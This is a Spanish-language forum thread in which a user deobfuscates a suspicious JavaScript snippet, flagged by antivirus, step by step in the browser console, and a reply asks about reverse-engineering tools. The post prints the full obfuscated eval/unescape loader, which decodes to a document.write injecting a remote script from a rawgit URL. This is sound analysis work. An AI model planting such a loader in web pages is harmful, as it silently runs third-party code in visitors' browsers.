Desobfuscando un código Javascript

zcriptz Seguir

1
Ómicron
Programador
Verificación en dos pasos desactivada
Verificado por Whatsapp
Suscripción a IA
Desde
26 Mar 2013
Mensajes
4.622
En el siguiente tema un usuario estaba teniendo problema con un código Javascript porque los antivirus le avisaban que el código de la página web era inseguro .

Para ejecutar el código voy a utilizar la consola del navegador Chrome. (F12)

El código obfuscado es el siguiente:
Insertar CODE, HTML o PHP:
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%65%62%36%37%32%34%61%37%36%61%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%38%36%33%32%39%33%39%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%38%37%31%34%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%35%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%65%62%36%37%32%34%61%37%36%61%28%27') + '%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34' + unescape('%27%29%29%3b'));


Primero cambiamos las funciones eval por console.log sino ejecutarán el código obfuscado.

Código a poner en la consola:
Insertar CODE, HTML o PHP:
console.log(unescape('%66%75%6e%63%74%69%6f%6e%20%65%62%36%37%32%34%61%37%36%61%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%31%38%36%33%32%39%33%39%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%37%38%37%31%34%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%35%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
console.log(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%65%62%36%37%32%34%61%37%36%61%28%27') + '%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34' + unescape('%27%29%29%3b'))

Devuelve:
Insertar CODE, HTML o PHP:
function eb6724a76a(s) {
    var r = "";
    var tmp = s.split("18632939");
    s = unescape(tmp[0]);
    k = unescape(tmp[1] + "787146");
    for( var i = 0; i < s.length; i++) {
        r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+5);
    }
    return r;
}
document.write(eb6724a76a('%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34'));

Al principio puede verse una función personalizada de "decifrado" (eb6724a76a) puede verse que luego con document.write se utiliza para así poder escribir (write) ese código "raro".

Así que para poder saber que dice vamos a tener que agregar la función eb6724a76a que nos devolvió el primer código.

document.write es una funcion que escribe en el documento (o sea la página web), así que la reemplazamos por console.log

Código a poner en la consola:
Insertar CODE, HTML o PHP:
function eb6724a76a(s) {
    var r = "";
    var tmp = s.split("18632939");
    s = unescape(tmp[0]);
    k = unescape(tmp[1] + "787146");
    for( var i = 0; i < s.length; i++) {
        r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+5);
    }
    return r;
}

console.log(eb6724a76a('%32%6f%56%69%60%62%6b%1c%66%6a%5f%3c%1b%66%6e%67%6f%6a%3c%2e%2d%56%58%68%2d%6b%59%73%6a%60%6b%20%5a%6d%60%2d%5d%6d%58%6f%67%61%58%6c%6a%58%73%22%60%65%6b%66%2f%69%54%6a%6b%69%69%2d%55%60%5d%5a%60%2c%64%66%19%3d%3e%2e%69%56%6a%65%6f%69%3c18632939%35%31%38%34%34%39%34'));


Devuelve:
Insertar CODE, HTML o PHP:
<script src="https://cdn.rawgit.com/ancoknamhay/lite/master/black.js"></script>


Entonces el resultado final sería:
Insertar CODE, HTML o PHP:
document.write('<script src="https://cdn.rawgit.com/ancoknamhay/lite/master/black.js"></script>');

Pone ese archivo Javascript en la web donde se encuentre.
 
Última edición:

WooPress

Gamma
Verificación en dos pasos activada
Verificado por Whatsapp
Desde
19 Ene 2020
Mensajes
405
que herramientas usaste, en algunas ocasiones tiendo a realizar ingenieria inversa en archivos .NET donde utilizo los siguientes programas:

Dnspy
de4dot.
 

zcriptz

1
Ómicron
Programador
Verificación en dos pasos desactivada
Verificado por Whatsapp
Suscripción a IA
Desde
26 Mar 2013
Mensajes
4.622
que herramientas usaste, en algunas ocasiones tiendo a realizar ingenieria inversa en archivos .NET donde utilizo los siguientes programas:

Dnspy
de4dot.

La consola del navegador. (F12)

Editado y aclarado en el tema! 👍 gracias.
 
Última edición:

¡Regístrate y comienza a ganar!

Beneficios

  • Gana dinero por participar
  • Gana dinero por recomendarnos
  • Descubre ofertas de empleo diariamente
  • Negocios seguros
  • ¡Información premium y más!

Acceder

¿Ya tienes una cuenta? Accede aquí

Arriba